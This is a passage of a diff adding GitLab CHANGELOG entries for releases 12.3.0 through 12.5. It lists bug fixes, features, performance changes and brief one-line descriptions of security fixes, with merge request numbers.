+- Store Zoom URLs in a table rather than in the issue description. !18620
+- Improve admin dashboard features. !18666
+- Drop `id` column from `ci_build_trace_sections` table. !18741
+- Truncate recommended branch name to a sane length. !18821
+- Add support for YAML anchors in CI scripts. !18849
+- Save dashboard changes by the user into the vuex store. !18862
+- Update expired trial status copy. !18962
+- Can directly add approvers to approval rule. !18965
+- Rename Vulnerabilities API to Vulnerability Findings API. !19029
+- Improve clarity of text for merge train position. !19031
+- Updated Auto-DevOps to kubectl v1.13.12 and helm v2.15.1. !19054 (Leo Antunes)
+- Refactor maximum user counts in license. !19071 (briankabiro)
+- Change return type of getDateInPast to Date. !19081
+- Show approval required status in license compliance. !19114
+- Handle new Container Scanning report format. !19123
+- Allow container scanning to run offline by specifying the Clair DB image to use. !19161
+- Add maven cli opts flag to maven security analyzer (part of dependency scanning). !19174
+- Added report_type attribute to Vulnerabilities. !19179
+- Migrate enabled flag on grafana_integrations table. !19234
+- Improve handling of gpg-agent processes. !19311
+- Update help text of "Tag name" field on Edit Release page. !19321
+- Add user filtering to abuse reports page. !19365
+- Move add license button to project buttons. !19370
+- Update to Mermaid v8.4.2 to support more graph types. !19444
+- Move release meta-data into footer on Releases page. !19451
+- Expose subscribed field in issue lists queried with GraphQL. !19458 (briankabiro)
+- [Geo] Fix: rake gitlab:geo:check on the primary is cluttered. !19460
+- Hide trial banner for namespaces with expired trials. !19510
+- Hide repeated trial offers on self-hosted instances. !19511
+- Add loading icon to error tracking settings page. !19539
+- Upgrade to Gitaly v1.71.0. !19611
+- Make role required when editing profile. !19636
+- Made `name` optional parameter of Release entity. !19705
+- Vulnerabilities history chart - use sparklines. !19745
+- Add event tracking to container registry. !19772
+- Update SaaS trial header to include the tier Gold. !19970
+- Update start a trial option in top right drop down to include Gold. !19971
+- Improve merge request description placeholder. !20032 (Jacopo Beschi @jacopo-beschi)
+- Add backtrace to production_json.log. !20122
+- Change the default concurrency factor of merge train to 20. !20201
+- Upgrade to Gitaly v1.72.0.
+- Require explicit null parameters to remove pages domain certificate and allow to use Let's Encrypt certificates through API.
+- Replace wording trace with log.
+
+### Performance (13 changes)
+
+- Record latencies for Sidekiq failures. !18909
+- Fix N+1 for group container repositories view. !18979
+- Do not render links in commit message on blame page. !19128
+- Puma only: database connection pool now always >= number of worker threads. !19286
+- Run check_mergeability only if merge status requires it. !19364
+- Execute limited request for diff commits instead of preloading. !19485
+- Improve performance of admin/abuse_reports page. !19630
+- Remove N+1 DB calls from branches API. !19661
+- Improve performance of linking LFS objects during import. !19709
+- Optimize MergeRequest#mergeable_discussions_state? method. !19988
+- Add index for unauthenticated requests to projects API default endpoint. !19989
+- Add index for authenticated requests to projects API default endpoint. !19993
+- Increase PumaWorkerKiller memory limit in development environment. !20039
+
+### Added (83 changes, 8 of them are from the community)
+
+- Adds Application Settings and ui settings in the integration admin area for Pendo. !15086
+- Add endpoint for a group's vulnerable projects. !15317
+- Added new chart component to display an anomaly boundary. !16530
+- Add links to associated releases on the Milestones page. !16558
+- Merge Details Page and Edit Page for Page Domains. !16687
+- Share groups with groups. !17117
+- Add links to associated release(s) to the milestone detail page. !17278
+- New group path uniqueness check. !17394
+- Unify html email layout for member html emails. !17699 (Diego Louzán)
+- The Security Dashboard displays DAST vulnerabilities for all the scanned sites, not just the first. !17779
+- Create table for elastic stack. !18015
+- Allow to define a default CI configuration path for new projects. !18073 (Mathieu Parent)
+- Issues queried in GraphQL now sortable by due date. !18094
+- Add cleanup status to clusters. !18144
+- Added Tests tab to pipeline detail that contains a UI for browsing test reports produced by JUnit. !18255
+- Users can verify SAML configuration and view SamlResponse XML. !18362
+- Support Enable/Disable operations in Feature Flag API. !18368
+- Expose arbitrary job artifacts in Merge Request widget. !18385
+- Add project option for deleting source branch. !18408 (Zsolt Kovari)
+- Adds ability to set management project for cluster via API. !18429
+- Close issues on Prometheus alert recovery. !18431
+- Add ApplicationSetting for snowplow_iglu_registry_url. !18449
+- Allow Grafana charts to be embedded in Gitlab Flavored Markdown. !18486
+- Mark todo done by GraphQL API. !18581
+- Create a users_security_dashboard_projects table to store the projects a user has added to their personal security dashboard. !18708
+- New API endpoint for creating anonymous merge request discussions from Visual Review Tools. !18710
+- Enable the color chip in AsciiDoc documents. !18723
+- Add prevent_ldap_sign_in option so LDAP can be used exclusively for sync. !18749
+- Show inherited group variables in project view. !18759
+- Add "release" filter to issue search page. !18761
+- Search list of Sentry errors by title in Gitlab. !18772
+- Add migrations and changes for soft-delete for projects. !18791
+- Support for Crossplane as a managed app. !18797 (Mahendra Bagul)
+- Bump Auto-Deploy image to v0.3.0. !18809
+- Set X-GitLab-NotificationReason header if notification reason is explicit subscription. !18812
+- Add issues, MRs, participants, and labels tabs in group milestone page. !18818
+- Add ability to reorder projects on operations dashboard. !18855
+- Make `Job`, `Bridge` and `Default` inheritable. !18867
+- Show epic events on group activity page. !18869
+- Detail view of Sentry error in GitLab. !18878
+- Expose mergeable state of a merge request. !18888 (briankabiro)
+- Add ability to select a Cluster management project. !18928
+- Add a Slack slash command to add a comment to an issue. !18946
+- Added installation commands for npm and yarn packages to package detail page. !18999
+- Show start and end dates in Epics list page. !19006
+- Populate new pipeline CI vars from params. !19023
+- Add warnings about pages access control settings. !19067
+- Graphql mutation for (un)subscribing to an epic. !19083
+- API for stack trace & detail view of Sentry error in GitLab. !19137
+- Add grafana integration active status checkbox. !19255
+- GraphQL: Add Merge Request milestone mutation. !19257
+- Add MergeRequestSetAssignees GraphQL mutation. !19272
+- Add edit button to metrics dashboard. !19279
+- Add "release" filter to merge request search page. !19315
+- Add dead jobs to Sidekiq metrics API. !19350 (Marco Peterseil)
+- Add pipeline information to dependency list header. !19352
+- Build CI cache key from commit SHAs that changed given files. !19392
+- Adding support for searching tags using '^' and '$'. !19435 (Cauhx Milloy)
+- Sentry error stacktrace. !19492
+- Add an `error_code` attribute to the API response when a cherry-pick or revert fails. !19518
+- Add documentation for sign-in application setting. !19561 (Horatiu Eugen Vlad)
+- Create AWS EKS cluster. !19578
+- Add modsecurity logging sidecar to ingress controller. !19600
+- Add start a trial option in the top-right user dropdown. !19632
+- Manage and display labels from epic in the GraphQL API. !19642
+- Allow order_by updated_at in Deployments API. !19658
+- Add can_edit and project_blob_path to metrics_dashboard endpoint. !19663
+- Add usage ping data for project services. !19687
+- Graphql query for issues can now be sorted by relative_position. !19713
+- Add API endpoint to trigger Group Structure Export. !19779
+- Show Tree UI containing child Epics and Issues within an Epic. !19812
+- Enable environments dashboard by default. !19838
+- Update the DB schema to allow linking between Vulnerabilities and Issues. !19852
+- Add Group Audit Events API. !19868
+- Adds a copy button next to package metadata on the details page. !19881
+- GraphQL: Create MR mutations needed for the sidebar. !19913
+- Add id_before, id_after filter param to projects API. !19949
+- Add modsecurity feature flag to usage ping. !20194
+- Specify management project for a Kubernetes cluster. !20216
+- Upgrade pages to 1.12.0. !20217
+- Support template_project_id parameter in project creation API. !20258
+- Add heatmap chart support. !32424
+- Add template for Serverless Framework/JS. !33805
+
+### Other (59 changes, 26 of them are from the community)
+
+- Add EKS cluster count to usage data. !17059
+- Track the starting and stopping of the current signup flow and the experimental signup flow. !17521
+- Attribute Sidekiq workers according to their workloads. !18066
+- Add ApplicationSetting entries for EKS integration. !18307
+- Geo: Add resigns-related fields to Geo Node Status table. !18379
+- Allow adding requests to performance bar manually. !18464
+- Removes `export_designs` feature flag. !18507 (nate geslin)
+- Update AWS SDK to 2.11.374. !18601
+- Remove required dependecy of Postgresql for Gitaly. !18659
+- Add deployment_merge_requests table. !18755
+- Bump Gitaly to 1.70.0 and remove cache invalidation feature flag. !18766
+- Update gRPC to v1.24.0. !18837
+- Update GitLab Runner Helm Chart to 0.10.0. !18879
+- Adds a Sidekiq queue duration metric. !19005
+- Create explicit Default and Free plans. !19033
+- Improve instance mirroring help text. !19047
+- Add Codesandbox metrics to usage ping. !19075
+- Add internal_socket_dir to gitaly config in setup helper. !19170
+- Use Rails 5.2 Redis caching store. !19202
+- Update GitLab Runner Helm Chart to 0.10.1. !19232
+- Rename snowplow_site_id to snowplow_app_id in application_settings table. !19252
+- Removed IIFEs from network.js file. !19254 (nuwe1)
+- Remove IIFEs from project_select.js. !19288 (minghuan lei)
+- Remove IIFEs from merge_request.js. !19294 (minghuan lei)
+- Make snippet list easier to scan. !19490
+- Removed IIFEs from image_file.js. !19548 (nuwe1)
+- Fix api docs for deleting project cluster. !19558
+- Change blob edit view button styling. !19566
+- Include exception and backtrace in API logs. !19671
+- Add index on marked_for_deletion_at in projects table. !19788
+- Visual design for edit buttons in blob view. !19932
+- Refactor disabled sidebar notifications to Vue. !20007 (minghuan lei)
+- Remove IIFEs from branch_graph.js. !20008 (minghuan lei)
+- Remove IIFEs from new_branch_form.js. !20009 (minghuan lei)
+- Remove duplication from slugifyWithUnderscore function. !20016 (Arun Kumar Mohan)
+- Update registry.gitlab.com/gitlab-org/security-products/codequality to 12-5-stable. !20046 (Takuya Noguchi)
+- Add mb-2 class to global alerts. !20081 (2knal)
+- Remove var from syntax_highlight_spec.js. !20086 (Lee Tickett)
+- Remove var from merge_request_tabs_spec.js. !20087 (Lee Tickett)
+- Remove var from bootstrap_jquery_spec.js. !20089 (Lee Tickett)
+- Remove var from project_select.js. !20091 (Lee Tickett)
+- Remove var from new_commit_form.js. !20095 (Lee Tickett)
+- Remove var from issue.js. !20098 (Lee Tickett)
+- Remove var from new_branch_form.js. !20099 (Lee Tickett)
+- Remove var from tree.js. !20103 (Lee Tickett)
+- Remove var from line_highlighter.js. !20108 (Lee Tickett)
+- Remove var from preview_markdown.js. !20115 (Lee Tickett)
+- remove all references of BoardService in boards_selector.vue. !20147 (nuwe1)
+- Remove all references to BoardsService in index.vue. !20152 (nuwe1)
+- Remove var from labels_select.js. !20153 (Lee Tickett)
+- Remove all reference to BoardService in board_form.vue. !20158 (nuwe1)
+- Remove calendar icon from personal access tokens. !20183
+- Move margin-top from flash container to flash. !20211
+- Bump Auto DevOps deploy image to v0.7.0. !20250
+- Make 'Sidekiq::Testing.fake!' mode as default. !31662 (@blackst0ne)
+- Replace task-done icon with list-task icon to better align with other toolbar list icons.
+- Dependency Scanning template that doesn't rely on Docker-in-Docker.
+- Adding dropdown arrow icon and updated text alignment.
+- Change selects from default browser style to custom style.
+
+
+## 12.4.8
+
+### Security (1 change)
+
+- Fix private objects exposure when using Project Import functionality.
+
+
+## 12.4.5
+
+- No changes.
+
+## 12.4.3
+
+### Fixed (2 changes)
+
+- Only enable protected paths for POST requests. !19184
+- Fix Bitbucket Cloud importer pull request state. !19734
+
+
+## 12.4.2
+
+### Fixed (10 changes)
+
+- Increase timeout for FetchInternalRemote RPC call. !18908
+- Clean up duplicate indexes on ci_trigger_requests. !19053
+- Fix project imports not working with serialized data. !19124
+- Fixed welcome screen icons not showing. !19148
+- Disable protected path throttling by default. !19185
+- Fix Prometheus duplicate metrics. !19327
+- Fix ref switcher not working on Microsoft Edge. !19335
+- Extend gRPC timeouts for Rake tasks. !19461
+- Disable upload HTTP caching to fix case when object storage is enabled and proxy_download is disabled. !19494
+- Removes arrow icons for old collapsible sections.
+
+### Changed (2 changes)
+
+- Increased deactivation threshold to 180 days. !18902
+- Add extra sentence about registry to AutoDevOps popup. !19092
+
+
+## 12.4.1
+
+### Security (14 changes)
+
+- Standardize error response when route is missing.
+- Do not display project labels that are not visible for user accessing group labels.
+- Show cross-referenced label and milestones in issues' activities only to authorized users.
+- Show cross-referenced label and milestones in issues' activities only to authorized users.
+- Analyze incoming GraphQL queries and check for recursion.
+- Disallow unprivileged users from commenting on private repository commits.
+- Don't allow maintainers of a target project to delete the source branch of a merge request from a fork.
+- Require Maintainer permission on group where project is transferred to.
+- Don't leak private members in project member autocomplete suggestions.
+- Return 404 on LFS request if project doesn't exist.
+- Mask sentry auth token in Error Tracking dashboard.
+- Fixes a Open Redirect issue in `InternalRedirect`.
+- Remove deploy access level when project/group link is deleted.
+- Sanitize all wiki markup formats with GitLab sanitization pipelines.
+
+
+## 12.4.0
+
+### Security (14 changes)
+
+- HTML-escape search term in empty message. !18319
+- Fix private feature Elasticsearch leak.
+- Prevent bypassing email verification using Salesforce.
+- Fix new project path being disclosed through unsubscribe link of issue/merge requests.
+- Do not show resource label events referencing not accessible labels.
+- Check permissions before showing head pipeline blocking merge requests.
+- Cancel all running CI jobs triggered by the user who is just blocked.
+- Do not disclose project milestones on group milestones page when project milestones access is disabled in project settings.
+- Display only participants that user has permission to see on milestone page.
+- Fix Gitaly SearchBlobs flag RPC injection.
+- Add a policy check for system notes that may not be visible due to cross references to private items.
+- Limit search for IID to a type to avoid leaking records with the same IID that the user does not have access to.
+- Prevent GitLab accounts takeover if SAML is configured.
+- Only render fixed number of mermaid blocks.
+
+### Fixed (103 changes, 12 of them are from the community)
+
+- When user toggles task list item, keep details open until user closes the details manually. !16153
+- Fix formatting welcome screen external users. !16667
+- Fix signup link in admin area not being disabled. !16726 (Illya Klymov)
+- Fix routing bugs in security dashboards. !16738
+- Fix Jira integration favicon image with relative URL. !16802
+- Add timeout mechanism for CI config validation. !16807
+- Fix for count in todo badge when user has over 1,000 todos. Will now correctly display todo count after user marks some todos as done. !16844 (Jesse Hall @jessehall3)
+- Naming a project "shared" will no longer automatically open the "Shared Projects" tab. !16847 (Jesse Hall @jessehall3)
+- Adds the ability to delete single tags from the docker registry. Fix the issue that caused all related tags and image to be deleted at the same time. !16886
+- Changed confidential quick action to only be available on non confidential issues. !16902 (Marc Schwede)
+- Stop sidebar icons from jumping when expanded & collapsed. !16971
+- Set name and updated_at properly in GitHub ReleaseImporter. !17020
+- Remove thin white line at top of diff view code blocks. !17026
+- Show correct CI indicator when build succeeded with warnings. !17034
+- Create a persistent ref per pipeline for keeping pipelines run from force-push and merged results. !17043
+- Move SMAU usage counters to the UsageData count field. !17074
+- Allow maintainers to toggle write permission for public deploy keys. !17210
+- Fix GraphQL for read-only instances. !17225
+- Fix visibility level error when updating group from API. !17227 (Mathieu Parent)
+- Fix stylelint errors in epics.scss. !17243
+- Fix new discussion replies sometimes showing up twice. !17255
+- Adjust unnapliable suggestions in expanded lines. !17286
+- Show all groups user belongs to in Notification settings. !17303
+- Alphabetically sorts selected sidebar labels. !17309
+- Show issue weight when weight is 0. !17329 (briankabiro)
+- Generate LFS token authorization for user LFS requests. !17332
+- Backfill releases table updated_at column and add not null constraints to created_at and updated_at. !17400
+- Log Sidekiq exceptions properly in JSON format. !17412
+- Redo fix for related issues border radius. !17480
+- Show the original branch name and link of merge request in pipeline emails. !17513
+- Fixes issues with the security reports migration. !17519
+- Users can view the blame or history of a file with newlines in its filename. !17543 (Jesse Hall @jessehall3)
+- Display reCAPTCHA modal when making issue public. !17553
+- Fix css selector for details in issue description. !17557
+- Prevents a group path change when a project inside the group has container registry images. !17583
+- Show 20 labels in dropdown instead of 5. !17596
+- Nullify platform Kubernetes namespace if blank. !17657
+- Fix Issue: WebIDE asks for confirmation to leave the page when committing and creating a new MR. !17671
+- Catch unhandled exceptions in health checks. !17694
+- Suppress error messages shown when navigating to a new page. !17706
+- Specify sort order explicitly for Group and Project audit events. !17739
+- Merge Request: Close JIRA issues when issues are disabled. !17743
+- Disable gitlab-workhorse static error page on health endpoints. !17770
+- Fix notes race condition when linking to specific note. !17777
+- Fix relative positioning when moving items down and there is no space. !17781
+- Fix project imports for pipelines for merge requests. !17799
+- Increase the limit of includes in CI file to 100. !17807
+- Geo: Fix race condition for container synchronization. !17823
+- Geo: Invalidate cache after refreshing foreign tables. !17885
+- Abort Merge When Pipeline Succeeds when Fast Forward merge is impossible. !17886
+- Fix viewing merge reqeust from a fork that's being deleted. !17894
+- Fix empty security dashboard for public projects. !17915
+- Fix inline rendering of videos for uploads with uppercase file extensions. !17924
+- Hide redundant labels in issue boards. !17937
+- Time window filter in monitor dashboard gets reset. !17972
+- Use cache_method_asymmetrically with Repository#has_visible_content?. !17975
+- Allow users to compare Git revisions on a read-only instance. !18038
+- Enable Google API retries for uploads. !18040
+- Fix bug with new wiki not being indexed. !18051
+- Stops the expand button in reports from expanding. !18064
+- Make sure project insights stick on its own. !18082
+- Embed metrics time window scroll no longer affects other embeds. !18109
+- Fix broken notes avatar rendering in Chrome 77. !18110
+- Ignore incoming emails with X-Autoreply header. !18118
+- Enable grid, frame and stripes styling on AsciiDoc tables. !18165 (Guillaume Grossetie)
+- Add backend support for selecting custom templates by ID. !18178
+- Fix notifications for private group mentions in Notes, Issues, and Merge Requests. !18183
+- Do not strip forwarded message body when creating an issue from Service Desk email. !18196
+- Fix protected branch detection used by notification service. !18221
+- Fix error where helper was incorrectly returning `true`. !18231
+- Adjust placeholder to solve misleading regex. !18235
+- Fix Flaky spec/finders/members_finder_spec.rb:85. !18257 (Jacopo Beschi @jacopo-beschi)
+- Fix 500 error on clicking to LetsEncrypt Terms of Service. !18263
+- Fix error tracking table layout on small screens. !18325
+- GitHub import: Handle nil published_at dates. !18355
+- Do not allow deactivated users to use slash commands. !18365
+- Fix creating epics with dates from api. !18393
+- JIRA Service: Improve username/email validation. !18397
+- Stopped CRD apply retrying from allowing silent failures. !18421
+- Fix erroneous "No activities found" message. !18434
+- Support ES searches for project snippets. !18459
+- Fix styling of set status emoji picker. !18509
+- Fix showing diff when it has legacy diff notes. !18510
+- JIRA Integration API URL works having a trailing slash. !18526
+- Fixes embedded metrics chart tooltip spacing. !18543
+- Bump GITLAB_ELASTICSEARCH_INDEXER_VERSION=v1.4.0. !18558
+- Fix pod logs failure when pod contains more than 1 container. !18574
+- Prevent the slash command parser from removing leading whitespace from content that is unrelated to slash commands. !18589 (Jared Deckard)
+- Fix inability to set snippet visibility via API. !18612
+- Fix Web IDE tree not updating modified status. !18647
+- Fix button link foreground color. !18669
+- Resolve missing design system notes icons. !18693
+- Remove duplicate primary button in dashboard snippets. !32048 (George Tsiolis)
+- Allow to view productivity analytics page without a license. !33876
+- Fix container registry delete tag modal title and button. !34032
+- Fixes variables overflowing in sm screens.
+- Update top nav bar to fit all content in at all screen sizes.
+- Fix permissions for group milestones.
+- Removes Collapsible Sections from Job Log.
+- Fixes job overflow in stages dropdown.
+- Fix moved help URL for monitoring performance.
+- Fix issue with wiki TOC links being treated as external links. (Oren Kanner)
+- Show error message when setting an invalid group ID for the performance bar.
+
+### Deprecated (1 change)
+
+- Removing cleanup:repo, cleanup:dirs. !18087
+
+### Changed (51 changes, 3 of them are from the community)
+
+- Links on Releases page to commits and tags. !16128
+- Add status to deployments and state to environments in API responses. !16242
+- Use search scope label in empty results message. !16324
+- Add step 2 of the experimental signup flow. !16583
+- Add property to enable metrics dashboards to be rearranged. !16605
+- Allow intra-project MR dependencies. !16799
+- Use scope param instead of hide_dismissed. !16834
+- Add empty state in file search. !16851
+- Warn before applying issue templates. !16865
+- MR Test Summary now shows errors as failures. !17039
+- Add support for the association of multiple milestones to the Releases page. !17091
+- Display if an issue was moved in issue list. !17102
+- Improve UI for admin/projects and group/settings/projects pages. !17247
+- Update registry tag delete popup message. !17257
+- Show the "Set up CI/CD" prompt in empty repositories when applicable. !17274 (Ben McCormick)
+- Knative version bump 0.6 -> 0.7. !17367 (Chris Baumbauer)
+- Fix usability problems with the file template picker. !17522
+- Make commit status created for any pipelines. !17524 (Aufar Gilbran)
+- Add warnings to performance bar when page shows signs of poor performance. !17612
+- Banners should only be dismissable by clicking x button. !17642
+- Changes response body of liveness check to be more accurate. !17655
+- Enable Request Access functionality by default for new projects and groups. !17662
+- Add more attributes to issues GraphQL endpoint. !17802
+- Improve admin/system_info page ui. !17829
+- Adds management project for a cluster. !17866
+- Upgrade gitlab-workhorse to 8.12.0. !17892
+- Geo: Fix instruction from rake geo:gitlab:check. !17895
+- Upgrade to Gitaly v1.66.0. !17900
+- Do not start mirroring via API when paused. !17930
+- Use MR links in PipelinePresenter#ref_text for branch pipelines. !17947
+- Avoid knative and prometheus uninstall race condition. !18020
+- Deprecate usage of state column for issues and merge requests. !18099
+- Add missing page title to projects/container-registry. !18114
+- Port over EE pipeline functionality to CE. !18136
+- Aggregate push events when there are too many. !18239
+- Cleanup background migrations for any approval rules. !18256
+- Container registry tag(s) delete button pluralization. !18260
+- Create clusters with VPC-Native enabled. !18284
+- Update cluster link text. !18322
+- Upgrade to Gitaly v1.67.0. !18326
+- Improve UI of documentation under /help. !18331
+- Cross-link unreplicated Geo types to issues. !18443
+- Make designs read-only if the issue has been moved, or if its discussion has been locked. !18551
+- Do not show new issue button on archived projects. !18590
+- Increase group avatar size to 40px. !18654
+- Sort vulnerabilities by severity then confidence for dashboard and pipeline views. !18675
+- Add timeouts for each RPC call. !31766
+- Add more specific message to clarify the role of empty images in container registry. !32919
+- Embed Jaeger in Gitlab UI.
+- Use text instead of icon for recent searches dropdown.
+- Export liveness and readiness probes.
+
+### Performance (25 changes, 1 of them is from the community)
+
+- Limit diverging commit counts requests. !16737
+- Use GetBlobs RPC for uri type. !16824
+- Reduce Gitaly calls when viewing a commit. !17095
+- Limit snippets search count. !17585
+- Narrow snippet search scope in GitLab.com. !17625
+- Handle wiki and graphql attachments in gitlab-workhorse. !17690
+- Reduce lock contention of deployment creation by allocating IID outside of the pipeline transaction. !17696
+- Update PumaWorkerKiller defaults. !17758
+- Add trigram index on snippet content. !17806
+- Fix Gitaly N+1 queries in related merge requests API. !17850
+- Don't execute webhooks/services when above limit. !17874
+- Only schedule updating push-mirrors once per push. !17902
+- Show only personal snippets on explore page. !18092
+- Priority bump authorized_projects sidekiq queue. !18125
+- Avoid dumping files on disk when direct_upload is enabled. !18135
+- Check if mapping is empty before caching in File Collections. !18290 (briankabiro)
+- Avoid unnecessary locks on internal_ids. !18328
+- Fix N+1 queries in Jira Development Panel API endpoint. !18329
+- Optimize SQL requests for BlameController and CommitsController. !18342
+- Remove N+1 for fetching commits signatures. !18389
+- Reduce idle in transaction time when updating a merge request. !18493
+- Use cascading deletes for deleting logs upon deleting a webhook. !18642
+- Replace index on ci_triggers. !18652
+- Hide license breakdown in /admin if user count is high. !18825
+- Cache branch and tag names as Redis sets. !30476
+
+### Added (78 changes, 12 of them are from the community)
+
+- Adds sorting of packages at the project level. !15448
+- Add projects.only option to Insights. !15930
+- Add kubernetes section to group runner settings. !16338
+- Enable Cloud Run on GKE cluster creation. !16566
+- Add file matching rule to flexible CI rules. !16574
+- Enable preview of private artifacts. !16675 (Tuomo Ala-Vannesluoma)
+- Upgrade Gitaly to v1.64. !16788
+- Render xml artifact files in GitLab. !16790
+- Add GitHub & Gitea importers project filtering. !16823
+- Add project filtering to Bitbucket Cloud import. !16828
+- Provides internationalization support to chart legends. !16832
+- Expose name property in imports API. !16848
+- Add allowFilter and allowAnySHA1InWant for partial clones. !16850
+- [ObjectStorage] Allow migrating back to local storage. !16868
+- Require admins to enter admin-mode by re-authenticating before performing administrative operations. !16981 (Roger Rüttimann & Diego Louzán)
+- Deactivate a user (with self-service reactivation). !17037
+- Add database tables to store AWS roles and cluster providers. !17057
+- Collect docker registry related metrics. !17063
+- Allow releases to be targeted by URL anchor links on the Releases page. !17150
+- Add project_pages_metadata DB table. !17197
+- Add index on ci_builds for successful Pages deploys. !17204
+- Creation of Evidence collection of new releases. !17217
+- API: Add missing group parameters. !17220 (Mathieu Parent)
+- Allow to exclude ancestor groups on group labels API. !17221 (Mathieu Parent)
+- Added 'copy link' in epic comment dropdown. !17224
+- Add columns for per project/group max pages/artifacts sizes. !17231
+- Create table for grafana api token for metrics embeds. !17234
+- Add proper label REST API for update, delete and promote. !17239 (Mathieu Parent)
+- Allow cross-project pipeline triggering with CI_JOB_TOKEN in core. !17251
+- Add user_id and created_at columns to design_management_versions table. !17316
+- Add pull_mirror_branch_prefix column on projects table. !17368
+- Expose web_url for epics on API. !17380
+- Improve time window filtering on metrics dashboard. !17554
+- Group level Container Registry browser. !17615
+- Add API for manually creating and updating deployments. !17620
+- Introduce diffs_batch JSON endpoint for paginated diffs. !17651
+- Web IDE button should fork and open forked project when selected from read-only project. !17672
+- Allow users to be searched with a @ prefix. !17742
+- Add individual inherited member lookup API. !17744
+- Preserve custom .gitlab-ci.yml config path when forking. !17817 (Mathieu Parent)
+- Introduce CI_PROJECT_TITLE as predefined environment variable. !17849 (Nejc Habjan)
+- Feature enabling embedded audio elements in markdown. !17860 (Jesse Hall @jessehall3)
+- Add 'New release' to the project custom notifications. !17877
+- Added timestamps (created_at and updated_at) to API pipelines response. !17911
+- Added timestamp (updated_at) to API deployments response. !17913
+- Add pipeline preparing status icons. !17923
+- Creates Vue and Vuex app to render exposed artifacts. !17934
+- Add web_exporter to expose Prometheus metrics. !17943
+- Schedule background migration to populate pages metadata. !17993
+- Add "Edit Release" page. !18033
+- Unpin ingress image version, upgrade chart to 1.22.1. !18047
+- Adds sorting of packages at the group level. !18062
+- Introduce a lightweight diffs_metadata endpoint. !18104
+- Limit the number of comments on an issue, MR, or commit. !18111
+- Introduce new Ansi2json parser to convert job logs to JSON. !18133
+- Use new Ansi2json job log converter via feature flag. !18134
+- Snowplow custom events for Monitor: Health Product Categories. !18157
+- Support Create/Read/Destroy operations in Feature Flag API. !18198
+- Add two new predefined stages to pipelines. !18205
+- Add endpoint to proxy requests to grafana's proxy endpoint. !18210
+- Add ability to query todos using GraphQL. !18218
+- Include in the callout message a list of jobs that caused missing dependencies failure. !18219
+- Adds login input with copy box and supporting copy to empty container registry view. !18244 (nate geslin)
+- Add max_artifacts_size fields under project and group settings. !18286
+- Provide Merge requests and Issue links through the Release API. !18311
+- Adds separate parsers for mentions of users, groups, projects in markdown content. !18318
+- Add matching branch info to branch column. !18352
+- Users can preview audio files in a repository. !18354 (Jesse Hall @jessehall3)
+- Add edit button to release blocks on Releases page. !18411
+- Add "Custom HTTP Git clone URL root" setting. !18422
+- Add support for epic update through GraphQL API. !18440
+- Expose subscribed attribute for epic on API. !18475
+- Geo: Enable replicating uploads, LFS objects, and artifacts in Object Storage. !18482
+- Show related merge requests in pipeline view. !18697
+- Allow users to configure protected paths from Admin panel. !31246
+- persist the refs when open the link of refs in a new tab of browser. !31998 (minghuan lei)
+- Add first_parent option to list commits api. !32410 (jhenkens)
+- Allow users to add and remove zoom rooms on an issue using quick action commands.
+
+### Other (23 changes, 5 of them are from the community)
+
+- Sync issuables state_id with null values. !16480
+- Experimental separate sign up flow. !16482
+- Upgrade Rouge to v3.11.0. !17011
+- Better job naming for Docker.gitlab-ci.yml. !17218 (luca.orlandi@gmail.com)
+- Update GitLab Runner Helm Chart to 0.9.0. !17326
+- Change welcome message and make translatable. !17391
+- Remove map-get($grid-breakpoints, xs) for max-width. !17420 (Takuya Noguchi)
+- Document Git LFS and max file size interaction. !17609
+- Refactor email notification code. !17741 (briankabiro)
+- Ignore id column of ci_build_trace_sections table. !17805
+- Extend graphql query endpoint for merge requests to return more attributes to support sidebar implementation. !17813
+- Project list: Align star icons. !17833
+- Moves the license compliance reports to the Backend. !17905
+- Fixes wrong link on Protected paths admin settings. !17945
+- Update Pages to v1.11.0. !18010
+- Refactor checksum code in uploads. !18065 (briankabiro)
+- Make instance configuration user friendly. !18363 (Takuya Noguchi)
+- Update Workhorse to v8.14.0. !18391
+- Attribute each Sidekiq worker to a feature category. !18462
+- Update GitLab Shell to v10.2.0. !18735
+- Use correct icons for issue actions.
+- Increase color contrast of select option path.
+- Remove Postgresql specific setup tasks and move to schema.rb.
+
+
+## 12.3.9
+
+### Security (1 change)
+
+- Update maven_file_name_regex for full string match.
+
+
+## 12.3.7
+
+### Security (12 changes)
+
+- Do not create todos for approvers without access. !1442
+- Limit potential for DNS rebind SSRF in chat notifications.
+- Encrypt application setting tokens.
+- Update Workhorse and Gitaly to fix a security issue.
+- Add maven file_name regex validation on incoming files.
+- Hide commit counts from guest users in Cycle Analytics.
+- Check permissions before showing a forked project's source.
+- Fix 500 error caused by invalid byte sequences in links.
+- Ensure are cleaned by ImportExport::AttributeCleaner.
+- Remove notes regarding Related Branches from Issue activity feeds for guest users.
+- Escape namespace in label references to prevent XSS.
+- Add authorization to using filter vulnerable in Dependency List.
+
+
+## 12.3.4
+
+### Fixed (2 changes)
+
+- Fix cannot merge icon showing in dropdown for users who can merge. !17306
+- Fix pipelines for merge requests in project exports. !17844
+
+
+## 12.3.2
+
+### Security (12 changes)
+
+- Fix Gitaly SearchBlobs flag RPC injection.
+- Add a policy check for system notes that may not be visible due to cross references to private items.
+- Display only participants that user has permission to see on milestone page.
+- Do not disclose project milestones on group milestones page when project milestones access is disabled in project settings.
+- Check permissions before showing head pipeline blocking merge requests.
+- Fix new project path being disclosed through unsubscribe link of issue/merge requests.
+- Prevent bypassing email verification using Salesforce.
+- Do not show resource label events referencing not accessible labels.
+- Cancel all running CI jobs triggered by the user who is just blocked.
+- Fix Gitaly SearchBlobs flag RPC injection.
+- Only render fixed number of mermaid blocks.
+- Prevent GitLab accounts takeover if SAML is configured.
+
+
+## 12.3.1
+
+### Fixed (4 changes)
+
+- Fix ordering of issue board lists not being persisted. !17356
+- Fix error when duplicate users are merged in approvers list. !17406
+- Fix bug that caused a merge to show an error message. !17466
+- Fix CSS leak in job log.
+
+
+## 12.3.0
+
+### Security (23 changes)
+
+- Filter out old system notes for epics in notes api endpoint response.
+- Fix SSRF via DNS rebinding in Kubernetes Integration.
+- Fix project import restricted visibility bypass via API.
+- Prevent disclosure of merge request ID via email.
+- Use admin_group authorization in Groups::RunnersController.
+- Gitaly: ignore git redirects.
+- Prevent DNS rebind on JIRA service integration.
+- Make sure HTML text is always escaped when replacing label/milestone references.
+- Fix HTML injection for label description.
+- Avoid exposing unaccessible repo data upon GFM post processing.
+- Remove EXIF from users/personal snippet uploads.
+- Fix weak session management by clearing password reset tokens after login (username/email) are updated.
+- Added image proxy to mitigate potential stealing of IP addresses.
